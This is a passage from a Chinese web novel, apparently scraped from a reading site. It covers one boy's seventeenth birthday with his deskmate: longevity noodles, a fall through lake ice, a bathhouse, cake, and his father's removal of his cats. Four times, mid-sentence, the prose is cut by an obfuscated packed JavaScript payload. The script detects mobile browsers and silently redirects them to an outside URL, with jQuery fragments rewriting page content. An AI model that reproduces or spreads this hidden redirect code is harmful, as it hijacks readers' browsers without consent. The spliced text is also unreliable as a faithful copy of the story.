这让他想到了自己晚上捏的那只奇行种,程澈垂眸笑了会,摁灭手机睡觉。 - 二月中旬就是新年,清野中学安排在二月初期末考。 赶在一月的最后一天,这天一大清早,贺远川就收到了来自遥远洛杉矶的消息。 【蒋青】:生日快乐宝贝。 【蒋青】:妈妈给你卡里打了些钱,今年回不去看你了。 蒋青常年在国外定居,虽然说的是“今年”,实际上贺远川已经记不清上次看到她是什么时候。 蒋青结了婚,有了孩子,修正了年轻时的那段错误轨迹,现在过得挺好。 贺远川独自生活这么多年,对见不见面的这些倒是无所谓。 记忆里蒋青曾经偷偷来看过他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12929432|135970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,买了一堆玩具,看着不像个妈妈,像个刚毕业没两年的女大学生。 “变形金刚。”蒋青蹲在地上和这个没什么表情的小男孩说话,小心翼翼:“奥特曼,你喜欢吗?” 他不喜欢。 其实贺远川对这些玩具没什么兴趣,乔稚柏说他像个小老头,不看动画片和动漫,没事时会看些红红绿绿的财经频道。 那时的贺远川还不知道这便是遗传基因的可怕之处,尽管后来他竭尽所能地避免自己像那个一年只来一回的男人,但是自己还是在各个方面都控制不住地朝他生长,性格,脾气,外貌,甚至于爱好特长。 包括那时站在蒋青面前的自己,也是个缩小版的贺临。 蒋青从小在国外长大,被家里保护过好的女生,爱就是爱了,轻信了男人的诺言,有身孕后才知道对方原来隐婚多年,长女只比她小上几岁。 她实在不忍心打掉腹中已成型的孩子,自己年纪不大,做事考虑不够全面,也不敢和家里人说,怀着一腔孤勇偷偷回国生了下来。 蒋青对小小的贺远川说过:“不管如此,拥有小川的那一刻确实是因为爱。” 贺远川将这句话记了很多年,度过了很多个夜晚。后来他想,其实这些并不重要。 无论如何,他是系统运行中的偏轨,程序制订时的bug,是一场错误的证据,这件事板上钉钉且无法改变。 所以他对生日没什么期待,和平常的任何一天一样,没有区别。 贺远川看完那条信息,在床上躺了半天,最后还是回过去一条:谢谢。 对面熬了一整晚的女人在等待回复,他到底还是不忍心。 因为期末考试临近,每科老师都拖了会堂,恨不得把一整本书上可能会考到的点都给再讲解一遍。 贺远川今天兴致不高,程澈提着早饭给他时,他说了“谢谢”,接过后没有吃,塞进了桌洞里。 “不吃么,”程澈看他一眼,取下背上的书包:“一会豆浆得凉了,天冷呢。” “不怎么饿。”贺远川趴着,脸朝下,声音有点闷。 “感冒了?”程澈从书包里掏书。 “没。”贺远川说:“没睡好,有点困。” 程澈往四周悄悄看了两眼,确认没人注意这边后,伸手呼噜两下贺远川的头。 “摸我是吧。”贺远川头没抬,手伸出来轻且准确地抓住程澈的手腕,听声音确实是困了:“我可感觉到了啊。” “失眠了?”攥得紧,程澈收不回手,只好小声问:“你中午回家么。” 贺远川“嗯”了声,不知道他问这个干嘛:“回,在这得多冷。” 说完他趴那好半天都没等到下一句。 贺远川刚一打算抬头,便看见了一张放大了的脸正在自己的胳膊边,一双桃花眼扑闪扑闪,险些贴上他的唇。 下一秒那双眼睛瞬间睁大,程澈连忙往后退。 贺远川吓了一跳,松开手:“怎么了?” “哦没事,那个…”程澈拍了两下胸脯,说完停顿了会,凑过来小声说: “我就是想说……祝你生日快乐啊,贺远川。” 43.长寿面 程澈是怎么知道贺远川生日的呢,自那天晚上打完雪仗后,贺远川的那句“你比我小吧?”就一直扎根在他的心里。 程澈的生日在二月二十号,有时候赶得巧,可以赶上大年那几天。 同时也因为生日在二月,同年生的孩子绝大多数都比他小,贺远川那么言之凿凿地说程澈没他大,程澈琢磨着那贺远川的生日可能就在一月。 不过也说不一定,或许贺远川直接大他个一年。 程澈不大想直接去问贺远川,这样显得太刻意,不自在。 他调到日历一算,一月份拢共也没剩下几天,他开始频繁在贴吧和微博里大面积地搜索。 “贺远川生日”“清野中学贺远川””清野中学臭脸帅哥”…… 删删减减,尝试了许多种排列组合,最后连贺远川三年前初中的老照片都扒出来了,也没搜到贺远川的生日是哪一天。 直到某天廖老师在班上找学生去办公室整理材料,程澈难得主动请缨。 到了办公室一看,他猜对了,是学校前些天刚问他们要的个人信息复印件,还有一些试卷,厚厚的几大摞。 程澈做贼心虚,抖着手从一众学生名单里悄悄扒拉出贺远川的。 生日那栏是空白,贺远川甚至从来没有填过自己的生日。 还没来得及失望,视线往上一抬。 便看见了一排长长的身份证号朝他招着手。 - 每年生日的这两天,贺远川的心里都有点说不清道不明地闷得慌,日子越近心里越堵。 十二点刚过就收到了乔稚柏的生日祝福: 【乔工】:生日快乐兄弟!新的一年继续开开心心! 他趴在床上回:收到。 乔稚柏知道他的生日,每年会卡着点第一时间发来祝福。 在部分他与贺临没有矛盾冲突的时间段里,他可以用钱去买绝大多数感兴趣的东西,得到的过于容易,导致物欲不高,也很少有珍视的物件。 东西丢了还可以再买,不喜欢了就直接扔掉。 一晚上他都没有睡着,在床上翻来覆去的,天冷了后刘姨给他房间的地上铺了层毛茸茸的厚毯子。 小猫们已经一个多月大,没事时会在毯子上爬来爬去。 房间里熄了灯,他赤脚下床,脚踩在厚毯子上,在黑暗里慢慢摸到阳台。 没开灯,他在那窝着摸了一会小猫,才站起身。 从黑乎乎的角落里慢腾腾地翻出了什么东西,握在手心里。 所以早上当昏昏沉沉的大脑听见程澈说“祝他生日快乐”的这一刻,贺远川维持着抬头的姿势,思维一时间无法归位,怔怔看了面前男生许久。 “你怎么知道?”贺远川轻声问。 “你猜。”程澈用他的话还回去,脖子后面有点红:“中午别回了吧,请你吃好吃的。” 班上闹哄哄的,到处是人声,偶尔桌椅板凳在地上摩擦“哧——”的一声响。 冬天的教室极少开门窗,空气不流通,但他们坐的位置靠着后门。 后门关不严实,这是个大问题,丝丝缕缕的寒风会从不够严实的门缝里挤进来,化冻的天,这风吹在腿上,半天就能吹出一片红色的硬疙瘩。 前几天在程澈打了个结实大喷嚏后,贺远川索性从家里带了块长长的小毯子,给自己盖上的同时给程澈的腿也盖上半块,问就是“毯子长了,不盖浪费。” 之后上课时他便经常能看见程澈红着一张脸坐得笔直,专心听课。 他看见了,会问:“脸怎么这么红?” 程澈咳了声说:“热。” 此时此刻,淡淡红意又从男孩的脖颈缓缓弥漫到耳边。 其实他想问,程澈,那现在呢,也是因为热么? 在这片吵闹的喧嚣里,贺远川这样看了程澈很久,才重新把下巴搭回胳膊上,没舍得挪开目光,就那样偏头一直看着,轻笑两声说:“谢谢同桌。” 放学后贺远川便有理有据地彻底黏上了程澈。 程澈走哪他跟哪,像一根牛皮糖。 “我要被挤到墙上去了。”程澈翻着白眼说,“你往那边去点。” 贺远川闷声闷气:“挤挤暖和。” 程澈说不过他,今天的贺远川看着状态不大好,他心里隐隐觉得大概是和家里有关,没多问。 路面上还存有些被踩结实了的雪,结了层厚冰壳,贺远川闲得没事伸脚去踩,踩完身子不出意外地朝前一纵,快栽倒前歪头说:“好滑,你扶我一下。” 程澈无语,怕他真的摔,到底还是伸手去扶:“你说你踩它干嘛?” 他们顺着校门口外的过道往饭馆那边走,路上有很多回家的学生,熙熙攘攘的。 偶尔有骑着小电驴的学生从他们身后穿过,这种时候贺远川才会重新直起身子,将快被挤跑的程澈往自己身边揽。 程澈带他去了一家面馆,老板是个四五十岁的男师傅,店里热气腾腾。 “这家的三鲜面特别好吃。”程澈推开门,回头和贺远川说:“泡椒甜甜辣辣的,汤头鲜,皮肚肉丝猪肝…料可多了。” 店里有几桌人正在吃面,价格表贴在墙上,老板看见程澈便招呼:“哟,小澈啊?” 程澈笑着寒暄:“方叔,今天忙吗?” “今天还好,天冷了,出来吃面的不多咯。”方叔把毛巾往肩上一搭,“还是吃三鲜面?” “是呢,”程澈应得乖:“加两个鸡腿方叔——” 程澈把书包从肩上取下来,对贺远川说:“你在这等,我去上个厕所。” 贺远川说“好”,抬头看程澈到店里面去了,里面那儿还开了个门,挂着一门帘,看不到里面。 他掏出手机看,微信好友栏又弹了条新消息出来,这会店里暖气吹得他足够放松。 手指在主页面顿了会,最后还是伸手点开。 是他这几个月来拒绝多次的人,附加验证消息那儿是一句:“我希望你能考虑清楚后果。” 要考虑什么后果呢,他一个今天刚满十七岁的学生,得到的不是父亲的半句祝福,而是一句货真价实的警告。 贺远川盯着消息栏里的这句话许久,坐在板凳上的身子无意识发僵,喉头涌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12942806|135970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起一丝不可察的不安。 明明店里的空调是暖的,却仍开始觉得冷。 半年前他可以说走就走,什么都可以不要,凭着一身反骨昂着那颗绝不低下的头,没有软肋没有弱点,打不服,怎样都能活。 贺临即使是个不达目的不罢休的彻头彻尾的商人,也永远拿他没办法。 但现在的他不行。 他有了四只猫,有了昏暗路灯下排列成行的小雪人堆,有了上课时搭在腿上的小薄毯和凑在耳边的悄悄话。 有程澈。 贺远川坐在那愣神的功夫,程澈已经从帘子后端着什么出来了。 他们坐的这桌在角落,离其他几桌略有些距离,贺远川看程澈将那个冒着热气的碗放在自己面前。 他低头看,碗里是根长长的面,旁边卧着个荷包蛋。 贺远川看着那碗面,听程澈在头顶说话,轻声细语的:“过生日总得吃长寿面,这家老板我认识,小时候我过生日,我妈会带我来吃。” “你做的?”贺远川没抬头,问。 “啊。”程澈似乎是有点不大好意思:“我擀的,一根面擀得有粗有细。” 贺远川还是没抬头,拿起筷子将那根面夹起来,程澈说得认真:“不能咬断,得一口吃了。” 贺远川凑上去,将那根面慢慢地一口吃完,含糊不清:“好吃。” 有点烫,烫得他觉得舌头发麻,心头也发麻。 “很好。”程澈盯着那根面有没有被咬断,确定是完整被吃进去后,才老爷爷般点了点头,说着以前从老人那听来的吉利话: “面一口吃完,以后你会健健康康,长命百岁的——” 贺远川听着,夹起那个蛋黄溜走了的空心蛋,没忍住笑了两声,声音有点闷:“还有个鸡蛋呀?” 程澈也笑:“技术有限,没好浪费老板的蛋,下次再给你打个完整的。” “没事,我不爱吃蛋黄。”贺远川吃了那颗空心蛋:“说话算话么。” “算。”程澈今天出奇地有求必应,“生日快乐,贺远川。” 贺远川端起碗喝了口汤,暖意涌进四肢百骸,这才抬头看他:“程澈。” “嗯?”程澈弯了点腰,伸手呼噜他的头发,小声:“昨晚没发是因为想亲口和你说。” 贺远川闭上眼睛,再抬头时眼圈发红,声音涩得不像话:“弯腰,我抱抱你。” 程澈的身子顿了下,心脏在胸膛里剧烈跳动,没动。 在这一刻,他突然生出些剧烈的不安,有什么东西正在被打破,蝴蝶要破蛹,海面要翻起巨浪,他不知道打开这个盒子到底会带来什么,或许是场暴雨,又或许是场动荡的海啸,宁静会自此终结。 他突然想逃。 他听见贺远川叹了口气,胳膊朝他张开,用那双红红的眼睛看着他,换了种说法:“我想你抱抱我。” 店里人声吵闹,老板在厨房忙碌,没人会注意到他们这里。 程澈看着贺远川想,算了,先不逃了吧。 他站在那,亲手打开盒子,义无反顾地走进了等待着他的拥抱中。 44.浴池 程澈弯着腰,贺远川坐在凳子上举起胳膊,两个人维持着这样的姿势抱了很久。 在青少年的校园流言中,贺远川跋扈,性子冷,难以相处,不好惹。 但程澈将这颗脑袋摁在自己胸膛上时,硬硬的发茬戳着自己的手心,痒痒的。 他的心里突然生出种难以言喻的柔软,贺远川确实是无坚不摧的。 这个人甚至拥有奇妙的魔法,雨天的伞,拐角处凭空出现般的粥店,带有余温的外套,这个人可以轻而易举地接住他,就像那晚在医院顶楼说的:“稳稳的,摔不着。” 只要有他在,程澈永远摔不着。 程澈总是下意识忽视一些东西,可在此时此刻,有一个微弱的念头从土里隐约冒出头,虽然晦暗不明,却无法再忽略。 ——我好像也在被他所需要哎。 师傅端了两碗面过来时,两人手忙脚乱地分开。 其实手忙脚乱的只有程澈一个,贺远川看着倒是慢悠悠的。 程澈有点做贼心虚,虽然他也不知道自己心虚个什么劲,眼睛往方叔脸上瞅了好几眼。 好在方叔应该是没看见,神色和往常无二,转头正和厨房里的员工说话。 两人吃完面回学校时,路上没什么人,车也少,很安静。 天气冷,沿街的门面店安上了厚厚的透明门帘,可以挡住寒风,同时也隔绝了大部分声音。 这两天还在化雪,裸露在外的皮肤被风一吹,和刀割似的疼。 程澈昨晚翻箱倒柜找到了自己的围巾,又从抽屉里翻出自己的手套来,今天特地带来了。 事实证明他带对了,从来没有忘记带手套来学校的贺远川今天破天荒得忘记带了。 程澈:“要吗?” 贺远川说:“你戴吧,我有口袋。” 程澈还是递了只过去,“戴吧。” 贺远川没说话,接过去戴上,快到校门口时说:“现在回去太早了吧?” 程澈看了看门卫室,门卫大爷还在吃饭,从窗户看去朦朦胧胧一个影子,正守在电视机前。 “那去哪?”他转头看沿街的店铺,“那边有家奶茶店,不然去里面坐会?” 贺远川:“学校后面有面湖,你去过么。” “没有。”程澈还真没去过,上学这些年基本每天放学了就回家,学校附近有什么还真是没注意过。 “去不去?”贺远川呼了口热气:“咱俩溜冰去。” 贺远川带着程澈轻车熟路地去了学校后面。 倒真的是有面湖,在一片掉光了叶子的枯树林里,两人猫着腰进了林子,湖的面积不算大,但也不小,对面远远的有几户人家。 这地儿平时有树枝遮挡,不容易照到太阳,岸上还有不少积雪未化完。 湖面确实有冰,看着挺厚,程澈拿脚踩了踩冰,贺远川从旁边一把拉住他的胳膊。 “没事儿。”程澈将身子重量压上去,踩完说:“挺厚,真能试试。” 他小心翼翼地试着把两只脚都放上去,全踩上去后挪了几步,“哧溜”一下,程澈没忍住笑起来,他觉得好玩儿。 贺远川的手一直虚虚拦在他身后,程澈笑着回头看那只手:“怎么,还怕我摔啊?” “你小心点。”贺远川也笑,“不然你回来吧。” “没事儿。”程澈试着用鞋子在冰面上打滑,“我试了,厚着呢。” 贺远川带程澈来这儿当然不是真的为了溜冰,纯粹是想找个没人的地儿,拉面馆里的那个拥抱太过温暖,让他忍不住想要悄悄的再近一寸,再多一分。 但现在看着摇摇晃晃展开胳膊踩在冰上的程澈,什么想法都烟消云散了。 贺远川有片刻的出神。 程澈今天穿着厚羽绒服,看起来像只企鹅,他很少有这样纯粹开心的时刻。 贺远川就站在在岸边,看这只摇晃的企鹅低着头,小心翼翼地挪动。 可爱。 好看。 简直想要一口吃掉。 “过来点。”贺远川说:“别跑太远。” 程澈大声说“好”,其实他没走出去很远,贺远川说了他便转身往回滑。 然而没走两步,便听见脚下传来一阵清脆且不祥的“咔嚓”声。 程澈停住动作,低头看脚底,冰在鞋子底下裂开了一道缝,从中心往四周蛛网状蔓延。 他慢慢抬头,贺远川明显是急了,跑着要过来拉他。 人还没跑到,程澈就“嗖”地一声跟着突然碎掉的冰层下去了。 第一反应就是真冷啊。 第二反应是原来贺远川跑起来这么快,力气也大到可以一把将他从冰冷刺骨的湖水中拽出来,才没有整个人都淹没进去。 “鞋子脱了。”贺远川脸色有点难看,蹲下去给他脱鞋袜,程澈的下半身被泡了个透,湿答答地滴水: “裤子……” 贺远川看向程澈的裤子。 程澈顺着目光低头看去,布料因为吸了水此刻紧贴着腿,导致某个部位显露出不太妙的轮廓…… 程澈瞬间脑袋轰地声响,伸手一把捂住:“裤子——裤子不能脱!” “没让你脱。”贺远川咳了声,指着岸边的一块石头无奈道:“坐那儿。” 地上落着层积雪,他离石头还有些距离,程澈犹豫了一瞬怎么过去,下一秒视线里便多了一只皮质雪地靴。 “踩着。”贺远川说。 “不好吧?” “那就踩雪。” 程澈紧紧捂住裤子,光着脚踩上那只靴子,想借个力过去。 谁知刚踩上去,先是感觉脚下皮料的触感有些凉,人还没站上去,紧跟着就有只有力的臂膀从他身下越过去,一把将他横着抱起来。 突然悬空让程澈小声惊呼了下,失重感支使他情不自禁地将自己的胳膊搭上这人的脖颈。 贺远川的脸离他很近,呼吸柔柔地落在自己的额边,他听见贺远川轻笑了声,说:“别捂了,我不看。” 程澈抬头,贺远川正垂眸看着他。 “我哪……哪捂了。”刚对视上这道目光,程澈就移开了,他突然不敢看,说话也结巴起来:“你把眼——眼闭上。” 贺远川闭眼弯腰将他放到石头后才起身。 “我可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976784|135970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以睁开了吗?”问得倒是一本正经,虽然该看的刚开始都不小心看到了。 程澈在石头上挪挪挪,把鞋里的水倒掉甩干,穿上后又低头确认完,才说:“嗯嗯。” 贺远川直接带着程澈去了学校附近的一家浴池,平时的丑校服派上了大用途,系在腰上垂下去,能挡住风。 尽管如此,路上程澈还是打了个大喷嚏。 贺远川在旁边接:“狗百岁——” 程澈揉揉鼻子扭头看他,嘿嘿笑:“你记得?” “反正没忘。”贺远川说,拉着程澈走快了些。 其实不止是记得,还查到了这句话到底是什么含义。 程澈拒绝了淋浴间,这家浴池规模大,男女浴室各占一半,除了大混池还有单人小浴池。 大混池的票价稍微便宜点,贺远川没要,买了两张单人池的票,把手环给程澈一只:“戴上。” 这倒合了程澈的意,一个人脱光了滑进温热的单人池里,冻得起鸡皮疙瘩的腿这儿连脚趾头都蜷缩起来,舒服地哼哼。 浴池没有门,只搭着个帘子,能遮挡住视线,但不隔音。 贺远川在他隔壁,估计是听到了动静,似乎是笑了,问:“不冷了吧?” “岂止是不冷了,”程澈把毛巾叠起来枕在脖子后面,眼睛闭上:“暖和得都有点想睡会儿。” “嗯。”旁边的贺远川说:“睡会儿也行,一会我喊你。” “几点了?”程澈有点迷糊地问,问完又说:“算了,你手机也不在旁边。” “两点了。”贺远川声音不大:“我这墙上有钟。” “啊?”程澈顿时睡意全无,哗啦一下坐起来:“怎么突然就两点了?” 两点十分打预备,别说两人现在浑身未着一物地泡着澡,就算是立刻马上把衣服穿好,跑回去也铁定迟到。 程澈有气无力地躺了回去,透过氤氲热气看天花板:“这算逃课吗?” “算。”贺远川在隔壁说:“不知道会不会记过呢,说不定还得写检讨,周一还得到操场在全校师生面前念一遍。” 程澈躺不住了,哗啦又坐起来,人刚准备扶着池边站起身,便听见贺远川在隔壁慢悠悠地接着说:“躺着吧,请过假了。” “你又逗我是吧?”程澈扶着池边重新躺回去,对着天花板喃喃:“我怎么这么好逗啊?你说什么我怎么都信呢?” “嗯。”贺远川笑:“是啊,为什么呢?” 为什么呢? “下次不信你了。”程澈眼皮沉下去,他闭上眼睛说。 “信一信吧?”贺远川的声音也小了下去,轻轻柔柔地透过墙壁抚上耳膜:“困就睡会儿。” 程澈“嗯”了一声,不知道是在应哪一句。 他确实睡着了,这点他也觉得奇怪。明明自己的睡眠质量奇差无比,但是在贺远川旁边,他总是能够很快入睡,跟被下了安眠药一样。 中途醒了一次,贺远川的影子投在帘子外,人站在外面跟他说话,说是有事要出去一趟,很快回来。 程澈说好,很快那道影子消失了,他睁开眼,睡意也跟着一起消散。 45.心愿 程澈在浴池泡了好一会,帘子外时不时过去几个人影。 冬天来泡澡的人多,他昏昏沉沉地泡着,贺远川走后他便睡不着了,头枕着毛巾看天花板。 等了很久贺远川也没回来,程澈没有干净衣服,哪里都去不了,前台送了条干浴巾,他慢吞吞裹上,准备去大厅坐一会。 手刚搭上帘子,外面显出个人影来,一只手伸了进来,拎着一个鼓囊囊的袋子。 他低头看那只手,青筋浮现,贺远川的声音从外传来:“衣服和鞋,换上。” 程澈没说话,也没伸手接,只是问:“你特地去买的?” “嗯。”贺远川说:“刚好看见。” 程澈“哦”了一声接过来,自己的指尖被水泡得发皱,动作间触碰到了这人的手,有点凉。 那只手很快收了回去,人影从帘子后消失:“你穿吧,我到大厅等你。” 两人在大厅坐在垫子上看了会电视,出来时才发现要下雨了。 本来这段时间天黑的就早,因为空中连片的乌云,下午五点就黑透了。 这一天过得有点魔幻,程澈觉得生日当天得吃个蛋糕才算圆满,拉着贺远川去买了个小的。 买时程澈问贺远川要什么味的,贺远川没回答,只问:“你喜欢什么?” 程澈摇头:“你过生日,你选。” 贺远川低头在玻璃柜上看了会,指尖在草莓蛋糕上停顿,绕开后要了一块芒果蛋糕。 程澈没说话,垂眸盯着虚虚搭在玻璃柜台面上的手指。 贺远川偏头看他:“怎么了?” “没什么。”程澈收回目光。 贺远川最后还是买了程澈喜欢的芒果味,虽然——程澈也不知道他是如何知道的,可能是王杉分零食时,他偏好拿芒果味的东西,但这点小事,细枝末节且不显眼。 贺远川了解自己的程度比他想象的要多得多,这让他既感觉到危险,海浪翻涌上来,他又实在舍不得收回没入一大半的脚。 两人拎着小蛋糕找了个避风的楼道口,蹲在地上把蛋糕从盒子里掏出来。 程澈数了一遍,蜡烛不够十七根,贺远川说:“插七根吧,意思一下。” 程澈不愿意,让贺远川在那等着,自己又拐去蛋糕店多买了盒蜡烛。 回来满满当当插了十七根,掏打火机“咔嚓”一声点燃了。 “祝你生日快乐,祝你生日快乐,祝你生日快勒额饿——”程澈蹲那唱,边唱边拍手,说:“你许愿呀。” 贺远川看着他笑,“嗯”了声,闭上眼,双手合得虔诚。 关于生日的概念与流程,程澈其实也不算特别了解,记忆里每年生日的清晨,傅萍会给他煮一根长长的面,旁边卧着颗荷包蛋。 若是程赴在家,傅萍便会带他上方叔的那家面馆,在面馆给他煮,晚上回家再买一个小蛋糕,插上蜡烛让程澈许愿。 程澈闭着眼,就着摇曳的烛光许下心愿。 他的生日愿望大多和傅萍有关。 愿自己长得更高更强壮些,可以举起扫帚赶走挥着拳头的醉酒男人。 愿自己的学习再好一点。 这样以后可以赚很多很多的钱,可以带着傅萍搬离这片潮湿的弄堂老楼,可以在流浪猫狗奄奄一息时,有足够的能力与金钱救活每一只。 后来他不再过生日,那年程赴难得在家,唯一一次鼓足勇气开口要,程赴意外地答应了。 程澈很高兴。 晚上兴高采烈背着书包回家,连走路都是蹦着走,结果出乎他的意料,到家后发现铁门紧锁,小院里黑洞洞的,没有芒果蛋糕,也没人在家里等着他。 程赴完全忘了这回事,已经坐上下午五点的火车去了外地。 连钥匙都没有留给他一把。 那几天赵庆有事回老家,小卖部关着门,当天晚上下大雨,程澈靠在树下淋了一夜,第二天烧得两眼发黑,模糊中被临时回来的赵庆抱去了医院。 他在赵庆的肩头,跟着颠簸想,爸爸,我很廉价吗。 这是程澈对生日的全部印象,比较久远,他像模像样地扮演起傅萍的角色,给贺远川煮上了那碗面。 这次同样出乎他的意料。 今天不是他的生日,他却收获了紧密温热的拥抱,不是自己生日,却依旧得到了一块为了他而买的芒果蛋糕,和一份迟来的回答。 以及一个关于他的生日愿望,祝程澈以后可以健康平安。 另外,希望自己可以一直一直陪在程澈的身边。 这个程澈不知道。 这是贺远川藏匿于那个楼道口,湿漉漉且私心的十七岁的心愿。 - 贺远川将程澈送到乌海巷后,才抬脚往回走。 他到巷口伸手匆匆拦了辆出租,一边开车门一边低头看手机,给刘姨打去电话。 电话很快被接通,他坐进车里关上门问:“找到了吗?” 电话那头说了些什么,贺远川的眉头蹙起来:“平时我不都是把门关上的,他是怎么知道的?” 他握着手机听了会,“嗯”了声,说:“知道了。” 挂断电话后他长长叹口气,抬头和司机说话:“师傅,能开快一点吗?” 司机是个四十多岁的男人,车里开着暖气,师傅转头过来:“这会儿堵车哦,小伙子,今晚有暴雨,路上都是人,我尽量啊。” 贺远川应了声,身子沉沉朝后靠,偏头看车窗外。 车里昏暗且有点闷,天色也暗,透过车窗看得见带有雾气的团团车灯,不一会细密的小雨点落在窗户上,啪嗒啪嗒,模糊了他的视线。 还好他俩跑得快,用不着淋雨。 贺远川再次打开手机,看了眼天气预报。 今晚当真有场大暴雨,手指慢慢往后滑,看样子得下一整晚。 手机弹消息,是程澈发来的。 【顺毛刺猬】:坐上车了吗? 贺远川开了点车窗,冷空气从那条缝灌进来,他打字:坐上了,到家和你说。 【顺毛刺猬】:好,明天还吃那家的包子吗? 贺远川蹙着的眉一寸寸缓和:你想吃吗。 【顺毛刺猬】:我想吃隔壁的。 他笑了声:那就隔壁的。 程澈回过来个小猫的表情包:「好的」小猫眨眼.jpg 贺远川 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976785|135970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬眸,从中午的那条申请消息后,微信好友栏一直在契而不舍地弹消息。 指尖停顿,他盯着那条消息提示,风吹得太阳穴发胀。 闭上眼,好半天后,伸手点了通过。 车在小洋楼前停下,贺远川边付钱边开门下车。 刘姨打着伞迎出来,往他这边一路小跑。 这会儿雨下大了,噼里啪啦地落到伞面上,声音由远及近。 车在身后开走,贺远川站在雨里,看着那道身影越来越近,和着雨声低头摁着语音键,给程澈发了条语音:“我到家了,你早点睡。” 刘姨举着伞遮到他的头上,说话急:“怎么不等我过来再从车里下来啊?这雨就这样淋着。” 他等不及。 手机屏上一层雨水,他不在乎地装进口袋抬腿往小洋楼里走:“下午我回来锁了门的,他是怎么进去的?” “我听了你的,他问钥匙我就说丢了。”刘姨说,说着说着开始伸手抹眼泪:“他找了开锁的来,我拦也拦不住。” 贺远川“咣”地一声推开院门,压着声:“不怪你。” 他几步上了楼,刘姨在身后收伞,贺远川一把推开房门。 门锁那只剩个空洞,把手被人卸掉了,随意地丢在一边。 他进去弯腰找了一圈,床底,阳台,平时猫会躲的沙发后面。 一只也没了。 四只猫连大的带小的,全部消失的无影无踪。 口袋因为弯腰露出条缝隙,手机顺着褶皱滑落,在厚地毯上弹起来,又砸下去。 贺远川湿着衣服站在房间的正中央,头发“嘀嗒”往地上滴水。 除了猫,房间所有的抽屉都被抽出来一半,衣柜门大咧咧地敞开,全都张着大嘴,仿佛在嘲笑着此刻的他有多么不堪。 剧烈的愤怒催得他头疼欲裂,贺远川情不自禁闭上了眼,嘴抿成一条紧绷的线。 刘姨收好了伞,拎着条干浴巾跟上来,声音发着颤:“我看是拎着个包出去了,不知道装了几只,哪知道他今天突然回来……平时我都注意着不让猫出来,就怕被他看到……” “他人呢?”贺远川问,他长长呼出口气,尽力控制自己能说出一句完整的话。 “开车走了。”刘姨说,用手抹眼泪:“不知道上哪去了,我也没敢问。” 贺远川在房间低头站了会,这期间无数念头疯狂地在脑海中翻涌。 “你先回房间吧,刘姨。”贺远川淡淡说,俯身从地上拾起自己的手机,视线往地上搜寻。 “擦擦吧。”刘姨把浴巾递给他,“冷呢这天,猫等会我再出去找找……” “不用。”目光停住,贺远川垂眸从地上拾起哑铃,是乔稚柏带来的,拎在手里掂了掂:“你找不到。” 贺临带走的东西,没人能找得到。 四只猫对贺临来说,找个地儿随便扔掉,是再寻常不过的事儿,贺临不在乎这些,带来不了任何价值的东西,会和他一样被扔在陌生的小镇独自生活这么多年。 窗外暴雨越下越大,贺远川面无表情地拎着哑铃出了房间,在刘姨惊恐的目光中举起来,用力砸向墙角闪着红光的设备。 46.破戒 贺远川当天晚上沉默着砸掉了家中所有的监控,碎片四溅,一些塑料颗粒落到他的头发上,零星的溅入眼里,他低头揉揉,砸完所有后将哑铃随意一扔。 哑铃在地上滚了两滚,咕噜噜堆到墙边。 他推门出去,穿过光秃秃的花圃,黄土被雨水冲洗出污糟的浑汤,大步出了篱笆院门。 暴雨铺天盖地泻下来,砸得人挪不动步。 慌乱的脚步跟在身后,他回头看了眼淋着雨的刘姨,还是接过了伞。 雨太大,即使打着伞,裤子也很快湿了。雨点溅在脚边,不一会儿就浸透了他的鞋,感受到冰冷的湿意缠绕在皮肤上的那一刻,第一念头不是好冷—— 是幸好学校旁的那家浴池开着门。 他在雨里麻木地站着,不知道要去哪。 贺临每年在清野镇待不了几天,除了这栋小洋楼,不会再有其他住处。 贺临或许会将猫直接扔掉,或许会带着猫离开清野镇。 再扔掉。 无论哪种,在这样的严寒加暴雨的晚上,贺远川想不到四只猫要如何存活下去。 也想不到这件事该怎么和程澈说。 附近的角落他都一一去看,没有踪迹,他去了好些地方,皆无所获,意料之中。 